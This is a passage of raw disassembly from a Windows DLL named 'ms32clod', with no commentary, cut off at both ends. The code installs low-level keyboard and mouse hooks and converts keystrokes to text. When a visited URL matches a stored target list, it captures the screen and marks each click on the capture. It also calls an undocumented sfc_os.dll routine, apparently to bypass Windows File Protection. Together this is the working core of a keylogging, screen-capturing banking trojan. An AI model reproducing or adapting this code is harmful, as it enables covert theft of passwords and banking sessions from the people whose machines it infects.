		mov	eax, [edx]
		mov	[ebp-22Ch], eax
		mov	ecx, [ebp-22Ch]
		sub	ecx, 8
		mov	[ebp-22Ch], ecx
		cmp	dword ptr [ebp-22Ch], 26h
		ja	loc_10004D18
		mov	eax, [ebp-22Ch]
		xor	edx, edx
		mov	dl, ds:byte_10004D83[eax]
		jmp	ds:off_10004D67[edx*4]


loc_10004BB9:				; DATA XREF: .text:10004D6Fo
		mov	ecx, off_1002210C
		push	ecx
		lea	edx, [ebp-128h]
		push	edx
		call	ds:lstrcpyA	; lstrcpyA
		push	0
		call	ds:GetSystemMetrics	; GetSystemMetrics
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp-8], eax
		push	1
		call	ds:GetSystemMetrics	; GetSystemMetrics
		mov	[ebp-110h], eax
		mov	dword ptr [ebp-118h], 0
		jmp	short loc_10004C06
; ---------------------------------------------------------------------------


loc_10004BF7:				; CODE XREF: .text:loc_10004C8Aj
		mov	eax, [ebp-118h]
		add	eax, 2
		mov	[ebp-118h], eax


loc_10004C06:				; CODE XREF: .text:10004BF5j
		mov	ecx, [ebp-118h]
		cmp	ecx, [ebp-110h]
		jge	short loc_10004C8F
		mov	edx, [ebp-118h]
		mov	[ebp-4], edx
		push	0FFh
		lea	eax, [ebp-228h]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		call	ds:WindowFromPoint	; WindowFromPoint
		push	eax
		call	ds:GetClassNameA	; GetClassNameA
		push	offset aInternetExpl_1 ; "Internet Explorer_Server"
		lea	eax, [ebp-228h]
		push	eax
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_10004C8A
		mov	ecx, dword_1002C210
		push	ecx
		mov	edx, [ebp-4]
		push	edx
		mov	eax, [ebp-8]
		push	eax
		call	ds:WindowFromPoint	; WindowFromPoint
		push	eax
		call	sub_10003460
		call	sub_10003605
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		call	ds:WindowFromPoint	; WindowFromPoint
		push	eax
		call	sub_100034DC
		jmp	short loc_10004C8F
; ---------------------------------------------------------------------------


loc_10004C8A:				; CODE XREF: .text:10004C52j
		jmp	loc_10004BF7
; ---------------------------------------------------------------------------


loc_10004C8F:				; CODE XREF: .text:10004C12j
					; .text:10004C88j
		cmp	dword_10073974,	0
		jz	short loc_10004CAC
		mov	dword_10073974,	0
		mov	eax, 1
		jmp	loc_10004D61
; ---------------------------------------------------------------------------


loc_10004CAC:				; CODE XREF: .text:10004C96j
		jmp	short loc_10004D18
; ---------------------------------------------------------------------------


loc_10004CAE:				; CODE XREF: .text:10004BB2j
					; DATA XREF: .text:10004D6Bo
		mov	eax, lpString2
		push	eax
		lea	ecx, [ebp-128h]
		push	ecx
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_10004D18
; ---------------------------------------------------------------------------


loc_10004CC3:				; CODE XREF: .text:10004BB2j
					; DATA XREF: .text:off_10004D67o
		mov	edx, off_100220F8
		push	edx
		lea	eax, [ebp-128h]
		push	eax
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_10004D18
; ---------------------------------------------------------------------------


loc_10004CD9:				; CODE XREF: .text:10004BB2j
					; DATA XREF: .text:10004D7Bo
		mov	ecx, off_100220FC
		push	ecx
		lea	edx, [ebp-128h]
		push	edx
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_10004D18
; ---------------------------------------------------------------------------


loc_10004CEF:				; CODE XREF: .text:10004BB2j
					; DATA XREF: .text:10004D77o
		mov	eax, off_10022100
		push	eax
		lea	ecx, [ebp-128h]
		push	ecx
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_10004D18
; ---------------------------------------------------------------------------


loc_10004D04:				; CODE XREF: .text:10004BB2j
					; DATA XREF: .text:10004D73o
		mov	edx, off_10022104
		push	edx
		lea	eax, [ebp-128h]
		push	eax
		call	ds:lstrcpyA	; lstrcpyA


loc_10004D18:				; CODE XREF: .text:10004B74j
					; .text:10004B9Ej ...
		push	0
		push	0
		mov	ecx, dword_1006A96C
		push	ecx
		call	ds:GetWindowThreadProcessId	; GetWindowThreadProcessId
		push	eax
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		push	eax
		call	ds:AttachThreadInput	; AttachThreadInput
		lea	edx, [ebp-128h]
		push	edx
		push	offset dword_10072974
		call	ds:lstrcatA	; lstrcatA


loc_10004D49:				; CODE XREF: .text:10004AACj
					; .text:10004ABEj ...
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		mov	eax, dword_1006A910
		push	eax
		call	ds:CallNextHookEx	; CallNextHookEx


loc_10004D61:				; CODE XREF: .text:10004CA7j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
off_10004D67	dd offset loc_10004CC3	; DATA XREF: .text:10004BB2r
		dd offset loc_10004CAE
		dd offset loc_10004BB9
		dd offset loc_10004D04
		dd offset loc_10004CEF
		dd offset loc_10004CD9
		dd offset loc_10004D18
byte_10004D83	db 0			; DATA XREF: .text:10004BACr
		dd 6060601h, 6060602h, 2 dup(6060606h),	6030606h, 4060606h
		dd 3 dup(6060606h)
		db 6, 5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; LRESULT __stdcall sub_10004DAA(int, WPARAM, LPARAM)

sub_10004DAA	proc near		; DATA XREF: sub_1000537C+1ACo

var_128		= dword	ptr -128h
cchWideChar	= dword	ptr -124h
lpchText	= dword	ptr -120h
var_11C		= dword	ptr -11Ch
String1		= word ptr -118h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
KeyState	= byte ptr -100h
nCode		= dword	ptr  8
wParam		= dword	ptr  0Ch
lParam		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		mov	eax, [ebp+lParam]
		mov	[ebp+var_108], eax
		mov	byte ptr [ebp+String1],	0
		xor	ecx, ecx
		mov	dword ptr [ebp+String1+1], ecx
		mov	[ebp+var_113], ecx
		mov	[ebp+var_10F], cl
		mov	[ebp+var_104], 0
		mov	[ebp+var_10C], 0
		mov	[ebp+var_11C], 1
		cmp	dword_1006A910,	0
		jz	loc_1000507B
		cmp	[ebp+nCode], 0
		jl	loc_1000507B
		cmp	[ebp+wParam], 100h
		jnz	loc_1000507B
		mov	edx, dword_1006A920
		push	edx		; h
		mov	eax, hdc
		push	eax		; hdc
		call	ds:SelectObject	; SelectObject
		push	1		; fAttach
		push	0		; lpdwProcessId
		call	ds:GetForegroundWindow	; GetForegroundWindow
		push	eax		; hWnd
		call	ds:GetWindowThreadProcessId	; GetWindowThreadProcessId
		push	eax		; idAttachTo
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		push	eax		; idAttach
		call	ds:AttachThreadInput	; AttachThreadInput
		lea	ecx, [ebp+KeyState]
		push	ecx		; lpKeyState
		call	ds:GetKeyboardState	; GetKeyboardState
		push	0		; lpdwProcessId
		call	ds:GetForegroundWindow	; GetForegroundWindow
		push	eax		; hWnd
		call	ds:GetWindowThreadProcessId	; GetWindowThreadProcessId
		push	eax		; idThread
		call	ds:GetKeyboardLayout	; GetKeyboardLayout
		push	eax		; dwhkl
		mov	edx, [ebp+var_108]
		mov	eax, [edx+8]
		push	eax		; uFlags
		lea	ecx, [ebp+String1]
		push	ecx		; lpChar
		lea	edx, [ebp+KeyState]
		push	edx		; lpKeyState
		mov	eax, [ebp+var_108]
		mov	ecx, [eax+4]
		push	ecx		; uScanCode
		mov	edx, [ebp+var_108]
		mov	eax, [edx]
		push	eax		; uVirtKey
		call	ds:ToAsciiEx	; ToAsciiEx
		test	eax, eax
		jnz	short loc_10004EBE
		mov	ecx, [ebp+var_108]
		cmp	dword ptr [ecx], 8
		jz	short loc_10004EBE
		mov	edx, [ebp+var_108]
		cmp	dword ptr [edx], 2Eh
		jnz	loc_1000505C


loc_10004EBE:				; CODE XREF: sub_10004DAA+F8j
					; sub_10004DAA+103j
		mov	eax, [ebp+var_108]
		mov	ecx, [eax]
		mov	[ebp+var_128], ecx
		mov	edx, [ebp+var_128]
		sub	edx, 8
		mov	[ebp+var_128], edx
		cmp	[ebp+var_128], 26h
		ja	loc_10004F9A
		mov	ecx, [ebp+var_128]
		xor	eax, eax
		mov	al, ds:byte_100050B2[ecx]
		jmp	ds:off_1000509A[eax*4]


loc_10004EFD:				; DATA XREF: .text:1000509Eo
		mov	edx, lpString2
		push	edx		; lpString2
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	[ebp+var_11C], 2
		jmp	short loc_10004F9A
; ---------------------------------------------------------------------------


loc_10004F1D:				; CODE XREF: sub_10004DAA+14Cj
					; DATA XREF: .text:off_1000509Ao
		mov	ecx, off_100220F8
		push	ecx		; lpString2
		lea	edx, [ebp+String1]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	[ebp+var_11C], 2
		jmp	short loc_10004F9A
; ---------------------------------------------------------------------------


loc_10004F3D:				; CODE XREF: sub_10004DAA+14Cj
					; DATA XREF: .text:100050AAo
		mov	eax, off_100220FC
		push	eax		; lpString2
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	[ebp+var_11C], 2
		jmp	short loc_10004F9A
; ---------------------------------------------------------------------------


loc_10004F5C:				; CODE XREF: sub_10004DAA+14Cj
					; DATA XREF: .text:100050A6o
		mov	edx, off_10022100
		push	edx		; lpString2
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	[ebp+var_11C], 2
		jmp	short loc_10004F9A
; ---------------------------------------------------------------------------


loc_10004F7C:				; CODE XREF: sub_10004DAA+14Cj
					; DATA XREF: .text:100050A2o
		mov	ecx, off_10022104
		push	ecx		; lpString2
		lea	edx, [ebp+String1]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	[ebp+var_11C], 2


loc_10004F9A:				; CODE XREF: sub_10004DAA+138j
					; sub_10004DAA+14Cj ...
		mov	eax, dword_100281F8
		mov	rc.left, eax
		mov	ecx, dword_100281FC
		mov	rc.top,	ecx
		mov	edx, [ebp+var_11C]
		imul	edx, 0Fh
		mov	eax, rc.left
		add	eax, edx
		mov	rc.right, eax
		mov	ecx, rc.top
		add	ecx, 12h
		mov	rc.bottom, ecx
		push	0		; cchWideChar
		push	0		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		lea	edx, [ebp+String1]
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+cchWideChar], eax
		mov	eax, [ebp+cchWideChar]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpchText],	eax
		mov	ecx, [ebp+cchWideChar]
		push	ecx		; cchWideChar
		mov	edx, [ebp+lpchText]
		push	edx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		lea	eax, [ebp+String1]
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	1		; format
		push	offset rc	; lprc
		push	0FFFFFFFFh	; cchText
		mov	ecx, [ebp+lpchText]
		push	ecx		; lpchText
		mov	edx, hdc
		push	edx		; hdc
		call	ds:DrawTextW	; DrawTextW
		mov	eax, [ebp+var_11C]
		imul	eax, 0Fh
		mov	ecx, dword_100281F8
		add	ecx, eax
		mov	dword_100281F8,	ecx


loc_1000505C:				; CODE XREF: sub_10004DAA+10Ej
		push	0		; fAttach
		push	0		; lpdwProcessId
		call	ds:GetForegroundWindow	; GetForegroundWindow
		push	eax		; hWnd
		call	ds:GetWindowThreadProcessId	; GetWindowThreadProcessId
		push	eax		; idAttachTo
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		push	eax		; idAttach
		call	ds:AttachThreadInput	; AttachThreadInput


loc_1000507B:				; CODE XREF: sub_10004DAA+52j
					; sub_10004DAA+5Cj ...
		mov	edx, [ebp+lParam]
		push	edx		; lParam
		mov	eax, [ebp+wParam]
		push	eax		; wParam
		mov	ecx, [ebp+nCode]
		push	ecx		; nCode
		mov	edx, dword_1006A910
		push	edx		; hhk
		call	ds:CallNextHookEx	; CallNextHookEx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_10004DAA	endp

; ---------------------------------------------------------------------------
off_1000509A	dd offset loc_10004F1D	; DATA XREF: sub_10004DAA+14Cr
		dd offset loc_10004EFD
		dd offset loc_10004F7C
		dd offset loc_10004F5C
		dd offset loc_10004F3D
		dd offset loc_10004F9A
byte_100050B2	db 0			; DATA XREF: sub_10004DAA+146r
		db 1
		dd 4 dup(5050505h), 5050205h, 5030505h,	3 dup(5050505h)
		db 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; LRESULT __stdcall sub_100050D9(int, WPARAM, LPARAM)

sub_100050D9	proc near		; DATA XREF: sub_1000537C+169o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
chText		= byte ptr -1Ch
rc		= tagRECT ptr -10h
nCode		= dword	ptr  8
wParam		= dword	ptr  0Ch
lParam		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_24], 0
		mov	eax, [ebp+lParam]
		mov	[ebp+var_20], eax
		cmp	hhk, 0
		jz	loc_10005374
		cmp	[ebp+nCode], 0
		jl	loc_10005359
		mov	ecx, [ebp+wParam]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 201h
		jz	short loc_10005124
		cmp	[ebp+var_28], 202h
		jz	loc_10005211
		jmp	loc_10005359
; ---------------------------------------------------------------------------


loc_10005124:				; CODE XREF: sub_100050D9+37j
					; sub_100050D9+12Ej
		mov	edx, [ebp+var_24]
		cmp	dword_10043770[edx*4], 0
		jz	loc_1000520C
		cmp	[ebp+var_24], 1000h
		jge	loc_1000520C
		mov	eax, [ebp+var_24]
		mov	ecx, dword_10043770[eax*4]
		mov	edx, [ecx]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; SubStr
		push	offset byte_1006A6F4 ; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_100051FE
		mov	dword_1006A900,	1
		mov	eax, hHandle
		push	eax		; hEvent
		call	ds:ResetEvent	; ResetEvent
		mov	dword_10037124,	1
		push	offset aHttp	; "http://"
		push	offset byte_1006A6F4 ; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_100051D4
		push	offset asc_1002293C ; "://"
		push	offset byte_1006A6F4 ; Str
		call	ds:strstr	; strstr
		add	esp, 8
		add	eax, 3
		push	eax		; lpString2
		push	offset Str	; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_100051E4
; ---------------------------------------------------------------------------


loc_100051D4:				; CODE XREF: sub_100050D9+D5j
		push	offset byte_1006A6F4 ; lpString2
		push	offset Str	; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_100051E4:				; CODE XREF: sub_100050D9+F9j
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		push	offset dword_10034230 ;	lpParameter
		push	offset sub_1000537C ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		jmp	short loc_1000520C
; ---------------------------------------------------------------------------


loc_100051FE:				; CODE XREF: sub_100050D9+9Aj
		mov	ecx, [ebp+var_24]
		add	ecx, 1
		mov	[ebp+var_24], ecx
		jmp	loc_10005124
; ---------------------------------------------------------------------------


loc_1000520C:				; CODE XREF: sub_100050D9+56j
					; sub_100050D9+63j ...
		jmp	loc_10005359
; ---------------------------------------------------------------------------


loc_10005211:				; CODE XREF: sub_100050D9+40j
		mov	edx, dword_1006A904
		add	edx, 1
		mov	dword_1006A904,	edx
		mov	eax, dword_1006A920
		push	eax		; h
		mov	ecx, hdc
		push	ecx		; hdc
		call	ds:SelectObject	; SelectObject
		cmp	dword_10037124,	0
		jz	short loc_1000528F
		mov	edx, [ebp+var_20]
		mov	eax, [edx]
		sub	eax, 32h
		test	eax, eax
		jle	short loc_10005255
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		sub	edx, 32h
		mov	[ebp+var_2C], edx
		jmp	short loc_1000525C
; ---------------------------------------------------------------------------


loc_10005255:				; CODE XREF: sub_100050D9+16Dj
		mov	[ebp+var_2C], 0


loc_1000525C:				; CODE XREF: sub_100050D9+17Aj
		mov	eax, [ebp+var_2C]
		mov	dword_10030218,	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		sub	edx, 32h
		test	edx, edx
		jle	short loc_1000527F
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		sub	ecx, 32h
		mov	[ebp+var_30], ecx
		jmp	short loc_10005286
; ---------------------------------------------------------------------------


loc_1000527F:				; CODE XREF: sub_100050D9+196j
		mov	[ebp+var_30], 0


loc_10005286:				; CODE XREF: sub_100050D9+1A4j
		mov	edx, [ebp+var_30]
		mov	dword_1003021C,	edx


loc_1000528F:				; CODE XREF: sub_100050D9+161j
		mov	eax, dword_100281F8
		mov	[ebp+rc.left], eax
		mov	ecx, dword_100281FC
		mov	[ebp+rc.top], ecx
		mov	edx, [ebp+rc.left]
		add	edx, 1Eh
		mov	[ebp+rc.right],	edx
		mov	eax, [ebp+rc.top]
		add	eax, 12h
		mov	[ebp+rc.bottom], eax
		push	1		; format
		lea	ecx, [ebp+rc]
		push	ecx		; lprc
		push	0FFFFFFFFh	; cchText
		mov	edx, lpchText
		push	edx		; lpchText
		mov	eax, hdc
		push	eax		; hdc
		call	ds:DrawTextA	; DrawTextA
		mov	ecx, dword_100281F8
		add	ecx, 1Eh
		mov	dword_100281F8,	ecx
		mov	edx, dword_1006A91C
		push	edx		; h
		mov	eax, hdc
		push	eax		; hdc
		call	ds:SelectObject	; SelectObject
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+rc.left], edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		mov	[ebp+rc.top], ecx
		mov	edx, [ebp+rc.left]
		add	edx, 0Dh
		mov	[ebp+rc.right],	edx
		mov	eax, [ebp+rc.top]
		add	eax, 0Dh
		mov	[ebp+rc.bottom], eax
		mov	ecx, dword_1006A904
		push	ecx
		push	offset aD_0	; "%d"
		lea	edx, [ebp+chText]
		push	edx		; LPSTR
		call	ds:wsprintfA	; wsprintfA
		add	esp, 0Ch
		push	1		; format
		lea	eax, [ebp+rc]
		push	eax		; lprc
		push	0FFFFFFFFh	; cchText
		lea	ecx, [ebp+chText]
		push	ecx		; lpchText
		mov	edx, hdc
		push	edx		; hdc
		call	ds:DrawTextA	; DrawTextA
		cmp	dword_10037124,	1
		jnz	short loc_10005359
		mov	eax, hHandle
		push	eax		; hEvent
		call	ds:SetEvent	; SetEvent


loc_10005359:				; CODE XREF: sub_100050D9+24j
					; sub_100050D9+46j ...
		mov	ecx, [ebp+lParam]
		push	ecx		; lParam
		mov	edx, [ebp+wParam]
		push	edx		; wParam
		mov	eax, [ebp+nCode]
		push	eax		; nCode
		mov	ecx, hhk
		push	ecx		; hhk
		call	ds:CallNextHookEx	; CallNextHookEx
		jmp	short loc_10005376
; ---------------------------------------------------------------------------


loc_10005374:				; CODE XREF: sub_100050D9+1Aj
		xor	eax, eax


loc_10005376:				; CODE XREF: sub_100050D9+299j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_100050D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_1000537C(LPVOID)

sub_1000537C	proc near		; DATA XREF: sub_100050D9+114o

var_3C		= dword	ptr -3Ch
Msg		= tagMSG ptr -38h
hDC		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
cy		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3C], eax
		mov	dword_100281F8,	1Eh
		mov	dword_100281FC,	1Eh
		call	ds:GetForegroundWindow	; GetForegroundWindow
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_3C]
		mov	edx, [ecx]
		push	edx
		call	sub_10002F3C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jz	short loc_100053CF
		mov	dword_1006A900,	0
		xor	eax, eax
		jmp	loc_10005596
; ---------------------------------------------------------------------------


loc_100053CF:				; CODE XREF: sub_1000537C+40j
		push	0		; hWnd
		call	ds:GetDC	; GetDC
		mov	[ebp+hDC], eax
		mov	[ebp+var_18], 0
		mov	[ebp+var_14], 0
		push	0		; nIndex
		call	ds:GetSystemMetrics	; GetSystemMetrics
		mov	[ebp+var_10], eax
		push	1		; nIndex
		call	ds:GetSystemMetrics	; GetSystemMetrics
		mov	[ebp+cy], eax
		mov	ecx, [ebp+hDC]
		push	ecx		; hdc
		call	ds:CreateCompatibleDC	; CreateCompatibleDC
		mov	hdc, eax
		push	0		; color
		mov	edx, hdc
		push	edx		; hdc
		call	ds:SetTextColor	; SetTextColor
		push	0FFFFFFh	; color
		mov	eax, hdc
		push	eax		; hdc
		call	ds:SetBkColor	; SetBkColor
		mov	ecx, [ebp+cy]
		push	ecx		; cy
		mov	edx, [ebp+var_10]
		push	edx		; cx
		mov	eax, [ebp+hDC]
		push	eax		; hdc
		call	ds:CreateCompatibleBitmap	; CreateCompatibleBitmap
		mov	ho, eax
		mov	ecx, ho
		push	ecx		; h
		mov	edx, hdc
		push	edx		; hdc
		call	ds:SelectObject	; SelectObject
		mov	h, eax
		push	0CC0020h	; rop
		push	0		; y1
		push	0		; x1
		mov	eax, [ebp+hDC]
		push	eax		; hdcSrc
		mov	ecx, [ebp+cy]
		push	ecx		; cy
		mov	edx, [ebp+var_10]
		push	edx		; cx
		push	0		; y
		push	0		; x
		mov	eax, hdc
		push	eax		; hdc
		call	ds:BitBlt	; BitBlt
		mov	ecx, [ebp+hDC]
		push	ecx		; hDC
		push	0		; hWnd
		call	ds:ReleaseDC	; ReleaseDC
		mov	rc.left, 14h
		mov	rc.top,	1Eh
		mov	rc.right, 320h
		mov	rc.bottom, 32h
		mov	edx, hbr
		push	edx		; hbr
		push	offset rc	; lprc
		mov	eax, hdc
		push	eax		; hDC
		call	ds:FillRect	; FillRect
		cmp	hhk, 0
		jnz	short loc_10005511
		push	0		; dwThreadId
		push	offset aMs32clod_2 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hmod
		push	offset sub_100050D9 ; lpfn
		push	0Eh		; idHook
		call	ds:SetWindowsHookExA	; SetWindowsHookExA
		mov	hhk, eax
		cmp	hhk, 0
		jnz	short loc_10005511
		mov	dword_1006A900,	0
		xor	eax, eax
		jmp	loc_10005596
; ---------------------------------------------------------------------------


loc_10005511:				; CODE XREF: sub_1000537C+159j
					; sub_1000537C+182j
		cmp	dword_1006A910,	0
		jnz	short loc_10005551
		push	0		; dwThreadId
		push	offset aMs32clod_3 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hmod
		push	offset sub_10004DAA ; lpfn
		push	0Dh		; idHook
		call	ds:SetWindowsHookExA	; SetWindowsHookExA
		mov	dword_1006A910,	eax
		cmp	dword_1006A910,	0
		jnz	short loc_10005551
		mov	dword_1006A900,	0
		xor	eax, eax
		jmp	short loc_10005596
; ---------------------------------------------------------------------------


loc_10005551:				; CODE XREF: sub_1000537C+19Cj
					; sub_1000537C+1C5j
		push	offset TimerFunc ; lpTimerFunc
		push	64h		; uElapse
		push	0		; nIDEvent
		push	0		; hWnd
		call	ds:SetTimer	; SetTimer
		mov	uIDEvent, eax


loc_10005567:				; CODE XREF: sub_1000537C+213j
		push	0		; wMsgFilterMax
		push	0		; wMsgFilterMin
		push	0		; hWnd
		lea	ecx, [ebp+Msg]
		push	ecx		; lpMsg
		call	ds:GetMessageA	; GetMessageA
		test	eax, eax
		jz	short loc_10005591
		lea	edx, [ebp+Msg]
		push	edx		; lpMsg
		call	ds:TranslateMessage	; TranslateMessage
		lea	eax, [ebp+Msg]
		push	eax		; lpMsg
		call	ds:DispatchMessageA	; DispatchMessageA
		jmp	short loc_10005567
; ---------------------------------------------------------------------------


loc_10005591:				; CODE XREF: sub_1000537C+1FDj
		mov	eax, 1


loc_10005596:				; CODE XREF: sub_1000537C+4Ej
					; sub_1000537C+190j ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000537C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000559C(LPCSTR lpMultiByteStr)

sub_1000559C	proc near		; CODE XREF: .text:1000582Ep

WideCharStr	= word ptr -208h
var_8		= dword	ptr -8
hModule		= dword	ptr -4
lpMultiByteStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	100h		; cchWideChar
		lea	eax, [ebp+WideCharStr]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		mov	ecx, [ebp+lpMultiByteStr]
		push	ecx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	offset aSfc_os_dll ; "sfc_os.dll"
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	[ebp+hModule], eax
		push	5		; lpProcName
		mov	edx, [ebp+hModule]
		push	edx		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	[ebp+var_8], eax
		push	0FFFFFFFFh
		lea	eax, [ebp+WideCharStr]
		push	eax
		push	0
		call	[ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000559C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100055F0(LPCSTR lpFileName, char *Str)

sub_100055F0	proc near		; CODE XREF: .text:10005921p
					; .text:10005967p ...

var_24		= dword	ptr -24h
lpBuffer	= dword	ptr -20h
nNumberOfBytesToRead= dword ptr	-1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
hObject		= dword	ptr -0Ch
NumberOfBytesRead= dword ptr -8
Dest		= byte ptr -4
var_3		= word ptr -3
lpFileName	= dword	ptr  8
Str		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[ebp+var_10], 0
		mov	[ebp+var_18], 0
		mov	[ebp+Dest], 0
		xor	eax, eax
		mov	[ebp+var_3], ax
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000000h	; dwDesiredAccess
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	loc_10005794
		push	0		; lpFileSizeHigh
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp+nNumberOfBytesToRead], eax
		mov	eax, [ebp+nNumberOfBytesToRead]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpBuffer],	eax
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesRead]
		push	ecx		; lpNumberOfBytesRead
		mov	edx, [ebp+nNumberOfBytesToRead]
		push	edx		; nNumberOfBytesToRead
		mov	eax, [ebp+lpBuffer]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:ReadFile	; ReadFile
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_10005675:				; CODE XREF: sub_100055F0+17Dj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+nNumberOfBytesToRead]
		jge	loc_10005772
		mov	[ebp+var_14], 0
		jmp	short loc_10005693
; ---------------------------------------------------------------------------


loc_1000568A:				; CODE XREF: sub_100055F0+14Ej
		mov	ecx, [ebp+var_14]
		add	ecx, 2
		mov	[ebp+var_14], ecx


loc_10005693:				; CODE XREF: sub_100055F0+98j
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_14], eax
		jnb	loc_10005743
		push	2		; Count
		mov	eax, [ebp+Str]
		add	eax, [ebp+var_14]
		push	eax		; Source
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch


loc_100056BE:				; CODE XREF: sub_100055F0+10Bj
		push	offset asc_10022968 ; "**"
		lea	edx, [ebp+Dest]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100056FD
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		add	ecx, 2
		mov	[ebp+var_14], ecx
		push	2		; Count
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_14]
		push	edx		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
